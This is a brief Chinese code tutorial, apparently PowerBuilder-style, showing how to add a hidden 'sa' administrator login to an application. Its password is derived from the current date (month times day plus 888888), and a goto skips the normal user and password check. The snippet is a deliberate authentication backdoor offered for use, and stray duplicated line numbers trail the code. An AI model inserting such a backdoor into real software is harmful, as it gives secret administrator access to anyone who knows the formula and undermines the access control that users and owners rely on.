这样做的目的一是为了方便了。
思路很简单:添加sa,密码为系统当前日期的月*日,然后在加上一常数888888。
如果输入密码正确,直接跳转到用户与密码判断语句之后。
1
string ls_pass,ls_s1,ls_s2;
2
int month_m,month_d,li_a,li_p;
3
month_m=month(today());
4
month_d=day(today());
5
ls_s1=right(string(month_m),1);
6
ls_s2=right(string(month_d),1);
7
ls_pass = string(month_m*month_d+888888); //密码的生成
8
li_a = len(sle_code.text);
9
li_p = len(sle_pass.text);
10
//apptemp.opercode与apptemp.operpass 为输入值
11
if apptemp.opercode = 'sa' and apptemp.operpass = ls_pass
12
{
13
apptemp.opername = "管理员";
14
goto ok ; //直接跳转判断语句之后
15
}

2

3

4

5

6

7

8

9

10

11

12

13

14

15
